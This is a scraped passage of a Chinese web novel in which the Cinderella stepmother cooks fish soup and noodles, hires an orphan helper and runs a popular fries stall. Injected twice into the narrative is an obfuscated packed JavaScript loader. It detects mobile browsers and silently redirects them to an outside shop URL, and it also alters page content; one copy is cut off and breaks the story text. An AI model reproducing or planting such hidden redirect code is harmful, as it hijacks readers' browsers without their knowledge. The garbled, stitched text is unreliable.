南瓜大的面团在夫人手里,乖得跟什么似的,揉、按、推、收,手指翻飞间服服帖帖地变了形状,连动作也灵巧又好看。 夫人要做面包吗? 他才这么想着,却见夫人擦干净手,丢下面团不管,拎起杂鱼往井边走。 大约翰转动小脑袋瓜,猜到夫人要为杂鱼汤做准备了,自告奋勇开口:“夫人,您看着蚝汁吧,我会清理杂鱼。” 十几条小杂鱼处理起来费事,远不如搅勺子轻松,大约翰自觉自己是新上任的学徒兼杂役,该好好表现。 他赶紧补充:“我在修道院的时候,经常帮厨房的杂役料理食材。” 尤兰达挑了挑眉,小孩子会的挺多。 她把手里的剪刀和木盆让出来,自己接过勺子,往灶台边一站,打算看看他怎么弄。 大约翰隐约意识到夫人在考校他,慌乱一瞬,如常去除腮部。 尤兰达见他手法熟练,便知道平时没少干,搅着勺子,时不时抽空指点几句。 “从腹部剪开……有大鱼鳞就用剪刀刮,不要舍不得用工具,它的存在就是为了方便我们的……很好,内脏先不要丢,放在旁边,晚一点教你怎么处理……用井水冲洗干净,多洗几遍……” 大约翰一一照做,手上的动作越来越顺,抱着木盆走到井边时,他长长舒了一口气。 修道院的杂役如果有不满意,通常会一脚踢开他,夫人还能指导他清理杂鱼,应该是对他满意的吧? 呆站一会,大约翰嘴角咧开,憨憨地笑出声。 洗净的杂鱼端进厨房,尤兰达安排他清洗昨天特意留下的一大捧野韭菜,剥蒜洗葱切姜片的活也一并交给大约翰。 “能完成吗?处理不了跟我说一声。” 大约翰挺起胸膛,语气坚定:“我会完成的,夫人,再多的活都可以。” 他巴不得活多一点呢,好证明自己存在的必要性。 尤兰达一噎,准备好的大饼无处可画。 “妈妈,快看,我的新买的蝴蝶结好看吗?” “妈妈妈妈,你不知道广场上有多好玩,我喜欢跳舞。” 西芙拉和菲奥娜挎着篮子,风风火火跑进厨房,一人展示帽子上的蝴蝶结,一人欢快的叽叽喳喳。 两人都没瞧见水井边多了个陌生人,陌生人还腾一下站笔直,朝两人露出无措的讨好傻笑。 大约翰听说过她们,从小约翰那里。 费尔南多夫人有两个像白天鹅一样的女儿,她们活泼又美丽,整个贝壳街找不出比她们更好的女孩。 然而两阵香风从面前飘过去,一点余光没分给他。 大约翰挂不住笑了,垂下眼帘,可怜兮兮地蹲了回去。 他听到厨房里传来清脆笑声,两人争抢着讲述街上的见闻,叽叽喳喳像两只小麻雀。 “妈妈,你知道吗,日暮森林的精灵们要来皇城了,他们今晚住在城外的村庄,已经派精灵提前去菜市街租摊位。我们去逛逛好吗?我想□□灵们种的果子,可甜了。” “妈妈,我们明天一起去看精灵吧?我听说精灵都可漂亮了,不过我不相信有人比我更漂亮。” “是吗?听起来真不错,有空会去的。” 两道又脆又亮的嗓音中,大约翰听到夫人不走心的回应。 “对了妈妈,伊莱亚斯王子失踪了,国王派了好多骑士出去寻找。”西芙拉压低声音,神秘兮兮的说。 尤兰达问:“伊莱亚斯王子是谁?” 菲奥娜发出夸张的惊呼:“我的妈妈啊,你怎么忘了他?伊莱亚斯王子是国王的小儿子,辛德瑞拉是他的嫂子……” 顿了顿,清脆声音透着一股子郁闷:“哦~我真不想提起辛德瑞拉。” 西芙拉补充:“妈妈,你以前说过,要让我们在婚礼上和伊莱亚斯王子跳舞呢。” 话音落下,厨房里忽然安静了一瞬。 提起这些,西芙拉和菲奥娜都生出一种恍如隔世的复杂心情。 尤兰达默了默,她哪记住这些有的没的。 只沉寂一瞬,厨房重新响起说话声,说起新话题。 “妈妈,猪肉也买回来了,还有韭葱和鸡蛋,我们可没有偷懒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比他吃的都好。 尤兰达:“家里没人有空打草料,暂且用燕麦混着草屑吃。” 在尼尔森家,车夫每天去山脚下打新鲜草料喂马,家里没这个条件了,索性用燕麦代替。 反正从尼尔森家顺了不少,不心疼。 大约翰搅拌着燕麦和草屑,若有所思。 喂完马,洗了手,长柄木勺回到大约翰手里,尤兰达开始擀面。 掀开布,面团胀大了一点,摸上去软乎乎带着劲儿。 她拎起擀面杖,压扁、擀开、转个方向,再擀开。 从厚厚一坨到薄薄一片,从巴掌大到锅盖大,暗黄的面皮一点一点延展开来。 尤兰达动作快,手也稳,擀出来的面皮又大又薄,厚薄均匀得跟机器压出来似的。 边缘不破,中间不洼,面皮透亮得隐约能看见底下案板的木纹。 大约翰看呆了,差点忘了搅勺子。 “别停。”尤兰达头也不抬提醒。 大约翰赶紧收回目光,老实巴交搅锅。 尤兰达把擀好的面皮叠成几层,切成两指宽的长条,然后把长条叠在一起,斜着下刀。 一刀,两刀,三刀,规规整整的菱形面片从刀下滚出来,大小一致,像复制粘贴一样。 切完一摞,她拈起一片对着光看了看,薄厚适中,大小刚好。 笸箩洒上干粉,切好的面片均匀摊开,送上晾晒架等着晾干。 还剩一块小面团,擀薄后切成筷子粗细的条再抻几下,刚好够四个人吃的量。 面条做完,时间来到蓝调时刻,尤兰达见天色不早,开始准备今天的晚饭。 家里有四张嘴,份量比平时多出一截,她终于有机会动用大铁锅做饭了。 另起铁锅做杂鱼汤。 鱼汤想要油润,油脂必须多放,锅热后尤兰达大方的挖出一大勺猪油,稍稍化开便把杂鱼一条条滑入锅。 刚入锅不着急翻动,中火煎到两面金黄时,再倒入足量的开水大火熬煮。 鱼汤白不白,除了鱼要煎透,水也很重要,冷水冲不出漂亮的白汤。 恰好旁边炉灶的蚝油成型了,木勺刮过锅底,拉出厚厚一层,新买洗净的陶盅便派上用场。 40斤生蚝产出约400ml蚝油,考虑到未添加淀粉、小麦粉的纯熬,不能说少,也完全说不上多,普通人还真吃不起。 蚝油一勺勺装进陶盅,密封后和油罐盐罐糖罐摆在一起。 放眼过去,家里明面上的调味料看上去挺像回事了。 想到两天前做的料酒,差不多能用了,尤兰达安排大约翰看着锅,交待他等汤滚开,如何撇出上面的浮沫,再一股脑把盘子里备好的葱姜蒜倒进去。 大约翰掌心直冒汗,夫人这就教他怎么制作食物了? 自觉被委以重任,大约翰严阵以待等着汤开。 瞪着瞪着,他忽然眨眨眼,又瞪了瞪。 等等!这汤……怎么变的又清又白,刚才明明不是这样! 有人盯着锅,尤兰达放心去了一趟地窖,再上来时,手里多了一陶盅料酒。 她尝一口,确认味道没跑偏,赶紧往汤里加了一勺。转身去菜园子摘来欧芹叶和豌豆尖,洗净扔进翻滚的白汤里。 一时间,绿的白的交替在锅里打旋儿,漂亮极了。 出锅前,撒盐,撒葱花,勺子搅合几下,鲜香扑鼻而来,拦都拦不住。 杂鱼汤盛进大陶盆,热气腾腾地端上桌。 大约翰目瞪口呆望着那锅白白的、绿绿的、冒着香气的汤,不由想起小约翰在他耳边的念叨。 “费尔南多夫人的厨艺,贝壳街没人能比。” 当时,他以为小约翰没吃过好的,多少有点夸张成份。 现在,他信了,无比坚信。 32.第 32 章 杂鱼汤一出锅,西芙拉和菲奥娜耸着秀气鼻子寻了过来。 到这会,她们才注意灶台旁杵着的大约翰。 “他是谁?” 西芙拉眼含戒备,挑剔目光从上到下扫了大约翰一遍。 菲奥娜也端起姿态,下巴微翘,一股子傲慢劲儿。 尤兰达没开口,大约翰先磕磕巴巴的自我介绍:“我、我叫约翰,是新来的杂役。” 他脊背挺得笔直,两只手下意识攥紧衣角。 见识过尤兰达的厨艺,见识过她对厨房事务的严苛要求,大约翰没底气说自己是学徒,只敢称是杂役。 尤兰达对上女儿们投来的询问目光,颔首点头。 西芙拉眼睛倏地亮了,仿佛看到了曙光。 菲奥娜嘴比脑子快,脱口而出:“那我们——” “不可以,你们照旧负责洗碗。” 尤兰达知道她们的小心思,不给说完就堵了回去。 两人不敢反驳老母亲,没好气地瞥了瞥大约翰,随即把目光全转移到杂鱼汤上。 她们不约而同的俯身弯腰,鼻尖凑到陶盆边,深深吸气。 “好香!” “没有腥味!” 姐妹俩围着杂鱼汤,不时询问尤兰达如何做的,大约翰插不上话低头刷锅。 尤兰达有一搭没一搭的回应着,见趁灶膛火势旺,烧水煮面条。 面条没什么好讲究的,开水下锅,煮到浮起就行,不用时刻盯着。 大约翰刷完锅发现自己闲下来,手脚无处安放,扭扭捏捏找到尤兰达领新任务。 尤兰达有一瞬间以为自己是发布任务的NPC。 她想了想,往菜园子方向抬抬下巴:“菜园子里有一条空着的地,你去挖个小坑。” 又指指桌下盆里的杂鱼内脏和鱼鳃:“把它们埋进去。” 大约翰一脸认真地端起盆,听清下一句吩咐,整个人懵了。 西芙拉没大约翰那么多顾忌,直接问出口,“妈妈,为什么要扔进土里?” 这下,大约翰陷入了纠结,纠结自己该不该避出去,万一听到不该听的…… “当肥料。鱼的内脏、鸡鸭牛马的粪便、我们吃的肉,都可以埋进去,等上一段时间,就能帮助菜园里的菜苗更加快速的生长。” 尤兰达一脸无所谓,随口回答。 这实在算不上什么了不得的知识,养过花的知道,埋过尸的更清楚。 以前沉迷种月季,尤兰达没少因此闹乌龙,左右邻居经常怀疑她杀人抛尸。 解释不清什么是土肥力,什么是发酵过程,她索性含糊带过,只说帮助生长。 厨房里,三个听众,三脸懵逼。 西芙拉将信将疑,菲奥娜一脸茫然。 不是在说鱼内脏吗?为什么跳到了菜苗,还帮助生长?这两样听上去毫无关联。 大约翰的困惑不比两人少,云里雾里的,但夫人这么说,他就信。 大约翰抱着盆,老老实实蹲进菜园子里,一铲一铲挖坑,鱼鳃鱼肠子埋进去,埋完还用脚踩实了,生怕没埋好。 尤兰达继续忙活晚饭,昨天泡淡鱼露的咸鱼块取出来,撒姜丝葱段淋料酒,连盘子一起放在芦苇垫上,架上锅清蒸。 这边忙妥当,她回到流理桌前,切野韭菜、打鸡蛋。 野韭菜特意留出一捧炒鸡蛋吃,存放在空间里,这会拿出来还鲜灵灵的,叶子宽厚油亮,掐一下能出水似的。 尤兰达抓了一把,刀刃贴着叶子切成寸段,咔嚓咔嚓脆生生的响,辛辣香气立刻窜进鼻腔。 切完韭菜,新买的鸡蛋摸出五颗,碗沿一磕,蛋液滑进陶碗里,加点盐搅散。 锅热,倒油,待金黄的油汪在锅底,蛋液倒进锅,刺啦一下,边缘就凝固了,嫩生生的蛋块慢慢成形,还带着点湿润的光泽,尤兰达就把它盛了出来, 锅里留点底油,野韭菜茎先倒进去炒两下,再放韭菜叶,炒到韭菜由挺变软,颜色从翠绿变成深绿,刚炒好的鸡蛋便可回锅,加一撮盐快速翻滚几下,最后,在锅边溜一圈水。 多点汁,拌面才更好吃。 从下锅到出锅,不过两三分钟,野韭菜炒鸡蛋出锅。 这时,面条也煮好过了一遍凉水,分成四碗。 尤兰达给每一碗面都盖了个严严实实,金黄配翠绿,油汪汪的堆在面上,香气四溢, 拌面端上桌,杂鱼汤正好晾到能入口的温度,清蒸腊鱼也完成了。 咸鱼切薄了泡透了,稍稍蒸个十分钟,出锅后热油一浇,霸道的咸香改过了杂鱼汤的鲜香。 四碗面,一盆汤,一叠清蒸腊鱼,几样菜往桌上一摆,看着就馋人。 原本还有一个茄盒,好让她们知道茄子到底有没有毒,大约翰的意外出现,尤兰达暂且歇了心思。 “去洗手,孩子们。” 尤兰达不厌其烦的提醒他们注意卫生。 西芙拉和菲奥娜撒腿狂奔去了井边,挖完土的大约翰也乖巧的搓洗双手,三人都对今天的晚饭报以极高期待。 和西芙拉、菲奥娜单纯的期待不同,大约翰的期待,藏着梦幻的向往。 他是亲眼见证面条的诞生,从擀面到煮面,变戏法一样在他眼皮子底下成形。 大约翰喉结滚了滚,这可是小麦粉啊,细细白白的小麦粉。 他知道小麦粉有多精贵,在修道院里,只配进主教和勋爵老爷的肚子。 他想起夫人白天说过的话,“我们吃什么你吃什么,少不了你一口”。 老实说,大约翰只当夫人在哄骗他,并未当真。 他为许多店铺做过许多杂活,说好包晚餐的的店铺,最多用几个土豆或者半块黑麦面包打发杂役。 他,以及更多像他这样的人,已经习惯如此,不觉得哪里有问题。 大约翰使劲眨了眨眼睛,把疯狂上涌的酸意憋回去。 “发什么呆,赶紧吃饭。” 尤兰达的声音从屋里传来,叫了好几声。 西芙拉和菲奥娜已经上桌,一人抱着一碗面,吃得喷香。两个脑袋凑在烛光里,腮帮子鼓鼓的,时不时发出满足的喟叹。 大约翰嗯了一声,久久没舍得挪开视线。 烛光明亮的起居室,橡木长桌上摆着从林子里摘来的鲁冰花,紫的粉的蓝的,插在陶罐里,好看得很。 两位金灿灿的小姐学着夫人的样子,攥着叉子搅拌面条,享受的吃着咸鱼块。 他像做梦一样,恍恍惚惚走进去,抱起自己那碗面,没有上桌,而是蹲在了门边。 面碗捧在手里,烫烫的,沉沉的。 他低下头,狠狠吸了一口热气。 尤兰达歪了歪头,想叫他坐下来吃,餐桌大着呢,刚张嘴又想起这里的规矩,及时改口。 “还有咸鱼和鱼汤,自己盛。” 大约翰过了好一会才发出声,闷闷回应:“好的,夫人。” 他卷起面条,暴风吸入,慢慢咀嚼,每吃一口要嚼上半天,再回味半天,珍惜得不行。 面条软硬刚好,也不剌嗓子,裹着野韭菜味的汁水,每一根都沾满了香气。 鸡蛋嫩嫩的,滑滑的,野韭菜脆生生的,带着一股浓郁味道。 上帝啊,谁能想不到它就是山上遍地的野草。 这是他这辈子吃过的最好吃、麦麸含量最低的面条。 不对,他以前也没吃过面条。 再怎么舍不得,满满一碗拌面还是吃完了,大约翰舔干净碗,极力缩小存在感,鬼祟蹭到桌边给自己盛了鱼汤,叉起一块咸鱼。 见夫人没有骂他,大约翰踏踏实实回到门边,急不可耐地舀了一勺送进嘴里。 温热汤水一入口,他整个人僵住。 鲜,怎么会有这么鲜的汤? 他一鼓作气喝掉半碗,随后想起还有咸鱼。 咸鱼外表朴素,和平时吃的没太大区别,大约翰没多想,叉起肉往嘴里送。 稍一咀嚼,大约翰瞪大了眼睛,缓缓垂眸盯着叉子上的半块咸鱼肉。 他十分确定,就是普通的咸鱼,他在集市见过,便宜得很,穷人买不起鲜肉的时候全靠它果腹。 可夫人做的咸鱼,跟他以前吃的完全不一样。 不咸,不腥,不柴。 他回头看一眼橡木餐桌,和桌上的残羹冷炙。 小麦粉无疑是精贵的,可鸡蛋呢?野韭菜呢?咸鱼呢? 他穿梭菜市街的时候见过价,没一样是贵的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357225|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏这些寻常东西,做出了他从没尝过的美妙滋味。 大约翰狠狠干了剩下半碗鱼汤,舒服得眯起眼。 他要誓死追随费尔南多夫人! 晚饭的锅碗瓢盆,到底还是落在西芙拉和菲奥娜手里。 两人瞪了一眼干杵着的大约翰,哼了一声背过身,两双手在盆里碰出叮呤咣啷的动静,昭示她们的不爽。 大约翰为难的要死,想揽下洗碗的活,但夫人不同意。 不帮忙吧,两位小姐对他没个好脸色。 别看西芙拉和菲奥娜在尤兰达面前挺服管教,对上外人,尤其顶着杂役身份的大约翰,简直目中无人。 尤兰达朴素的希望他们别打起来,她真不会带孩子。 好在小约翰准时上门清粪,打破了院中略显僵硬的气氛。 大约翰逃似的,嗖一下窜过去,拉着小约翰一起打扫厕所。 知道夫人爱干净,大约翰干起活来格外卖力。 清完粪桶不算完,连厕所墙壁都仔仔细细擦洗了一遍,恨不得把每块砖缝都抠干净。 除了那股浅淡的、怎么也散不尽的味儿,愣是找不出一点脏污。 小约翰干站在一旁,小脸皱巴巴的发愁,他怀疑大约翰要抢他生意。 直到北1店的费尔南多夫人出声阻止他。 “今天的工作结束了,回去休息吧,大约翰。” 小约翰不可置信的望向大约翰,夫人说什么?他在为夫人干活? “阁楼的瓦片没有装好,你先在外面住着,房租我会补进薪水里。明天第三时祷,来店里上班,我们有很多活要做。” 大约翰喜不自禁,十分孩子气的蹦跶了一下,“我会准时到的,夫人。” 小约翰看着同伴傻乐的样子,再看看费尔南多夫人,忽然生出羡慕情绪。 北1店不仅包住,而且还愿意补贴房租。 上工时间也比别的店铺晚,第三时祷才开始! 院门落锁的咔哒声传来,大约翰终于绷不住了,咧着嘴原地蹦起来,胳膊一挥,做了个庆祝的动作。 小约翰等不及回去细说,拉着他问:“怎么回事?” 大约翰压低声音,却压不住喜滋滋的劲儿:“就是你看到的这样,我在北1点找到了活,当杂役,以后说不定能当学徒。” 小约翰哇了一声,眼睛都亮了,缠着大约翰问东问西。 “那你吃到费尔南多夫人做的饭了吗?” “薪水有多少?要给行会交钱吗?” “那你以后是不是要搬走了?” 大约翰被问得应接不暇,挠挠头,嘴咧得更开了。 月光照着两个少年的背影,一高一矮,叽叽喳喳地消失在巷子深处。 员工可以下班,当老板的尤兰达还早着呢。 才晚上七点,尤兰达实在睡不着,搬了小木凳坐在院中,脚丫子一圈圈晃,手上动作慢悠悠地剥蒜、剥洋葱。 月光洒在院子里,把她的影子拉得细长。 西芙拉和菲奥娜路过:“妈妈,你弄这些做什么?” “做干粉料。”尤兰达随口答了一句。 两人对视一眼,不太明白什么叫“干粉料”。 但她们知道,妈妈又要做好吃的东西了。 道完晚安,两个女孩乖乖回房间休息。 脚步声消失在楼梯尽头,院子里重新安静下来。 尤兰达一边享受难得的独处时光,一边悠闲的给大蒜瓣切片、洋葱切丝,最后平铺烤盘带回空间烘干。 干透的大蒜片和洋葱丝又脆又硬,轻轻一折便发出断裂的脆响。 反正老外们没那么讲究,烘干的大蒜和洋葱分别磨成粉,也不用过筛了,直接装进陶盅,摆上流理桌。 忙到这些,时间堪堪来到9点,正是尤兰达最精神的时候。 她索性翻出燕麦,提前烘炒、捣磨,把明天备菜的活儿提前完成一部分。 一直忙到城里的狗不叫了、鸟不飞了,夜色浓得化不开,整条巷子都陷进深眠里,她才起身洗漱。 这一晚,尤兰达闻着身上散不去的淡淡蒜味,一头栽进被窝里。 彻底沉入睡眠之前,她还倔强转动脑筋,思索着小吃摊的标识。 33.第 33 章 新的一天,早起的尤兰达干劲满满。 没别的,有大约翰当助理,许多事情都安排得过来。 首当其冲的,自然是山林里一片挨着一片的野韭菜,趁它们鲜嫩,赶紧多多采摘腌起来。 还有菌菇,可不能辜负了大自然的馈赠。 尤兰达盘好头发,戴上头巾出门,敲门声和第三时祷的钟声一同响起,差点没听清。 她快步走到院门口,听着钟声心里直叹气。 她一夜猫子,晚上不睡白天不起的那种,穿来童话世界,只有第一晚把夜熬穿,后来的几天天天早起。 要知道,以前她至少12、13点清醒,哪像现在,平均每天9点起床。 怀念着前世的好日子,尤兰达拉开门,大约翰准点打卡上班。 “早安,夫人。” “早安,大约翰。” 大约翰走进院子,矮身放下背篓时,尤兰达才注意到他背来了满满一背篓的嫩草。 “夫人,我顺路打了马草。”他瞄了一眼车马棚里的大G,话音干巴巴的试探,“我想,它或许会喜欢。” 大G喜欢不喜欢不知道,尤兰达挺喜欢,有新鲜马草可以吃,总比吃燕麦省钱。 何况大约翰是用私人时间收集来的,做为老板,她不能更喜欢了。 “真是个勤快的好孩子,拜托你先生火烧热水,再喂马。”她微笑着说。 大约翰心里那点忐忑,瞬间散了个干净。 “好的,夫人!”他响亮地应了一声。 尤兰达领他进了厨房,一桩桩交代下去:“每天上班第一件事,先在第四炉膛生火烧水。 用井水,不许用外面的溪水,不干净。 烧滚的热水舀进旁边的小缸里,做菜备菜都用烧过的水,生水尽量不要直接用。” 她信誓旦旦说井水干净,实际心里也拿不准,反正肯定没有自来水安全,于是每天烧一锅凉白开备着,再烧一锅热水留着喝。 实在来不及的情况,她才偷偷摸摸用矿泉水代替。 大约翰不太明白为什么要这么麻烦,但夫人说的,他都认真记下了。 “烧完水要喂马、喂兔子,要是车马棚里有马粪,就收集起来,和菜园子边角的泥土混在一起种菜。” “这些是每天必做的准备工作,花不了多少时间。之后该清洗土豆了,看到井边的木盆了吗?每天洗满满一盆,用匕首削去土豆皮。” “别担心,西芙拉和菲奥娜会和你一起分担。” 大约翰挺起瘦薄的胸膛,严肃地绷紧脸:“我会做到的。” 多了一个帮手,本就不算繁重的备菜工作更显轻松。 三人分工合作,一人洗一人削皮一人切条,有条不紊。 尤兰达熬完一锅番茄酱,还能腾出手来,慢吞吞的张罗早午饭。 昨晚大约翰惊叹连连,一副没见过世面的样子,搞得她不好太张扬,决定保守一点。 早午饭就吃胡萝卜玉米粥。 三碗小米淘洗干净,两根胡萝卜切丁,削下整根玉米粒倒进锅,清水加满,小火慢炖。 当地人吃各种麦粥习惯搭配点饼子、面包之类的,尤兰达毫不犹豫选择了配燕麦饼。 做为当地人最爱的快手菜之一,燕麦饼简单方便得离谱。 燕麦粗糙捣磨几下,加水搅拌成面糊状,抓起往锅上一摊一抹,脆脆的燕麦饼就完成了,口感像锅巴,只是少了大米香。 尤兰达嫌它无趣,搅面糊时多加了两勺麦芽糖和一勺黄油,又在摊饼的时候搓成规整的圆形,卖相上看着好不少。 三人急头白脸的一顿塞,一致表达了对甜甜的燕麦饼的喜爱。 这可比他们平时吃的燕麦饼好吃太多。 饭后,尤兰达加入流水线,负责切土豆炸土豆,西芙拉自告奋勇包揽了切面包片的活。 大约翰新手上路,负责简单的烫卷心菜叶和其他零碎杂事。 菲奥娜再度担负跑腿采购任务,去海螺巷买鳕鱼。 新鲜鳕鱼现杀现炸,紧凑点用,两条中型鳕鱼去皮去骨,可以做出50份约1厘米厚的鳕鱼排,也就是50份三明治。 尤兰达有预感,这50份三明治,一定比昨天卖更快。 一上午不急不忙的准备,最后一份三明治摆进陶盘,也到了该出摊的时候。 大约翰到这会才反应过来,费尔南多夫人,就是这两天街头巷尾疯传的薯条夫人。 而他奋斗一上午的土豆,会变成人人争抢的薯条。 大约翰越想越激动,眼巴巴望着尤兰达,等她吩咐他一起摆摊。 对上三人亮晶晶的眼睛,尤兰达决定给他们找点事做。 “牵上大G去森林吧,最深只准走到第一条河沟附近,多摘点野韭菜,要嫩的,我们需要储够一整个冬天的用量,最好能吃到复活节后。” “小菲,你有经验,负责教小西和大约翰。” “当然,如果你们能认出鸡油菌,可以一起采回来,除了它一概不许碰,记得在第九时祷返回。” 俩孩子都颜控,对漂亮的鸡油菌分得最清楚,分不清也没事,带回来有她把关。 “放心吧夫人,我对山林很熟悉。”大约翰稍显失望,很快把胸膛拍得砰砰响。 他和几个同样从修道院出来的孤儿合租,租住的小阁楼就在矮人巷尾巴,刚开始赚不到钱,全靠林子里挖野菜硬熬过来。 他可以骄傲的说,除了林子里的猎户和守林员,不会有比他们更熟悉森林的人。 尤兰达闻言更放心了,小红帽一个娃娃都能去,十几岁的人自然不在话下。 当然,西芙拉和菲奥娜贪玩,不指望她们俩老实干活。 大约翰才是三人中的“保底”,有他在,总不至于空手而归。 “遇见嫩绿的短松针,帮我带一捧回来,”尤兰达随口提了一句,“不用很多。” 搁在以前,她真不至于对松针下手,想到中世纪医疗条件,保养身体需体现日常生活中。 比如松针煮水。 抑菌、解腻、去口臭、去除土腥味,维C含量高可以防坏血病,抗氧化等,好处多多。 有事没事煮一壶喝,总归对身体好。 她给三人备好水囊,又塞了几块燕麦饼,简略收拾一番,四人在家门口分开。 一个人摆摊后,尤兰达发现也没什么难度。 忙归忙,但东西卖完的那一刻浑身轻松。 她推着板车走到巷子口,即将汇入贝壳街的人流,车前忽然多了一道瘦高的身影。 尤兰达扶着帽檐抬眼一瞧,是艾米丽。 团建回家后,尤兰达就没关注过后续。一是她不受邻居待见,没人愿意和她互通有无,二是她太忙,忙着忙着忘记了这件事。 现在看见活生生的人,尤兰达便知道她没吃毒蘑菇。 “费尔南多夫人!” 艾米丽挎着篮子,快步扑上来,给她一个结实的拥抱。 尤兰达被她突如其来的热情弄得一愣,还没反应过来,艾米丽已经松开手,退后一步,眼眶泛红。 “谢谢你,”艾米丽声音有些发颤,“我是说牛肝菌的事。” 尤兰达斟酌着道:“这没什么,一句提醒而已,你和你的家人还好吗?” 说起这事,艾米丽一脸后怕,拍着胸口直呼上帝保佑。 她激动地讲起自己如何发现蘑菇有毒,又如何和玛莎几个人连夜奔走,拦住其他夫人吃下毒蘑菇。 “你想不到这有多可怕,”她攥紧篮子,指节泛白,“我以为我常进森林,怎么也不会认错蘑菇,是我太自大了。 万一有人吃了蘑菇出事,我花再多钱买赎罪券,都没法原谅自己。” “她们是听了我的话摘蘑菇的,我真不知道出事了该怎么办。” 尤兰达这才明白过来,难怪那晚的矮人巷吵闹许久。 “是你家的狗救了你们。”她实话实说。 尤兰达提醒了,可人家没信啊,要不是狗吃了毒蘑菇当场嗝屁,照样没人信她。 话虽如此,艾米丽仍旧表达了自己的感激。 “我准备了一些馅饼和苹果派,你……”艾米丽准备邀请尤兰达回家做客,说到一般倏地停下话音。 她注意到板车上的泥炉和木柴,以及一些瓶瓶罐罐。 艾米丽想起苏珊说过的话,费尔南多夫人被富商老爷赶出门了,现在靠摆摊养家。 还听说,费尔南多夫人没做过家务,不擅长烹饪,生意怕是不太好。 此刻见到满当当的板车,再看一眼尤兰达身上缀满补丁的麻布罩裙,艾米丽便知道,传言十有八九是真的。 曾经的富商夫人潦倒至此,艾米丽全然忘记她虐待继女辛德瑞拉的事情,无比怜惜这个可怜的女人。 “那个……”她迟疑了一下,压低声音,“我听说最近有种叫薯条的东西很受欢迎,好多人去买。假如你愿意试试,或许能挣点钱。” 她说完又觉得不妥,赶紧补一句:“当然,你肯定有自己的打算,我随口一说,薯条听起来确实不简单。” 艾米丽想帮忙又怕伤人,吞吞吐吐半天,尤兰达心里一软 “谢谢你,艾米丽夫人,我会考虑的。”她没有解释太多。 艾米丽点点头,往旁边让了让,“那、那你忙,我先回去了,有空欢迎来我家尝尝我的苹果派,我很擅长做派。” 尤兰达客气了一下,礼貌告别后推着板车离开。 “费尔南多夫人——” 然而没等她走远,身后传来艾米丽的喊声。 她回头。 艾米丽站在巷口,暖融融的阳光洒了她一身。 “会好起来的。” 尤兰达懵了一会,不明白这话从何说起,但她感受到了来自艾米丽的温度。 她弯了弯嘴角,挥挥手,转身走进人流。 艾米丽目送丰腴背影消失,轻轻叹了一口气。 大不了,过两天找机会打听打听,确定费尔南多夫人在哪摆摊,她领着其他几位夫人一起光顾。 她又琢磨着,回头跟丈夫商量商量,要是费尔南多夫人需要硝制毛皮,自家这边尽量算便宜些。 想着想着,脚步渐渐慢下来,艾米丽不禁产生了困惑。 费尔南多夫人看起来不像会虐待女儿的人,她比她认识的富商夫人们温和太多,性格有点冷淡,却没什么架子。 她还愿意提醒别人小心毒蘑菇,是个好人。 艾米丽摸了摸后脑勺,摇着头离开。 好人尤兰达在路上耽误了一会,加速赶去工匠街。 一进小广场,板车没挺稳,客人呼啦一下蜂拥而来。 于是,工匠街出现了前所未有的神奇画面。 尤兰达推着板车走在前面,后面跟着乌泱泱的人,薯条夫人喊个不停。 车子挺稳,老顾客贴心帮忙维护秩序,扯着嗓子提醒不懂规矩的新客人,比她还上心。 尤兰达头皮发麻,知道自家小吃摊火,没想过这么火。 眼看着客人们你推我搡、争先恐后地抢第一的位置,她赶紧安抚:“做完你的做你的,做完你的做他的,大家别抢,都不白来。” 喊完这一嗓子,她再没工夫想艾米丽,一头扎进油锅和酱罐子里,忙得脚不沾地。 如她所预料,今天的客人,又变了样。 食客队伍里,除了一些熟脸,多了好些穿着体面、系着围裙的女仆和管家打扮的人。 他们出手阔绰,薯条一买就是三四份,三明治差点遭到了哄抢。 罩布一揭,不到一小时,50份三明治售罄了! 尤兰达直接傻眼。 生意红火成这样,两边的邻居可就惨了。 长长的队伍从她摊前蜿蜒出去,把旁边的摊位挡得严严实实。 挤不进去的客人无奈耸肩,干脆站在外围伸着脖子往这边瞧,想弄明白薯条到底有什么魔力。 那眼神,又酸又馋又遗憾,然后变的坚定。 明天一定早点来! “薯条夫人,”老顾客玛丽挤到跟前,一边递铜币一边抱怨,“您的生意也太好了!我现在要比平时更早出门,才能抢上一份。” 旁边几个人纷纷附和:“就是就是,多做点嘛!” “明天,明天一定多做!” 尤兰达笑着应承,手上动作不停,心里开始盘算晚上回去得多备多少料了。 通常来讲,初炸过的薯条4小时内完成复炸,口感最佳。 如果有冷藏的条件,时间可以推一推。初炸后冷冻起来,几天之内复炸都不是问题。 思绪转一圈,尤兰达有了打算。 生意一直这么火爆的话,她可以考虑提前一晚处理土豆,准备充足的量放进空间,第二天只需完成油炸的步骤。 想到家里有三个劳动力,尤兰达估摸着还能坚持几天。 小吃摊生意红红火火,食客们吃得乐不思蜀,当老板的尤兰达痛并快乐着。 而皇城里其他的面包师、厨师……就只有痛了。 薯条太火了,一经传播,吸引无数食客。 许多慕名品尝薯条的人找不到工匠街,总会在面包坊、小酒馆问一嘴。 “你家有薯条吗?”“你们的厨师能做薯条吗?”“我想吃薯条”等类似的话语,是这几天出现频率最高的句子。 有人按捺不住,四处打听,得知薯条的源头来自工匠街,一个貌美夫人摆的小吃摊。 等他们尝过薯条,吃到番茄酱,感受到三明治的滋味,眼前一片灰暗。 怎么说呢,好吃到不像是这个世界该有的食物。 第一口惊艳,第二口疑惑,第三口第四口往下咽,便只剩下自卑与痛苦。 他们复刻不出来。 除了知道食材是土豆,酱汁有番茄,三明治里有白面包和蔬菜,他们想不到如何把自己熟知的食材,变成嘴里正咀嚼的滋味。 这才是刚开始,等以后薯条夫人把大家的胃口养刁,普通的土豆还能吸引客人吗? 劳伦斯为此感到深深的忧虑。 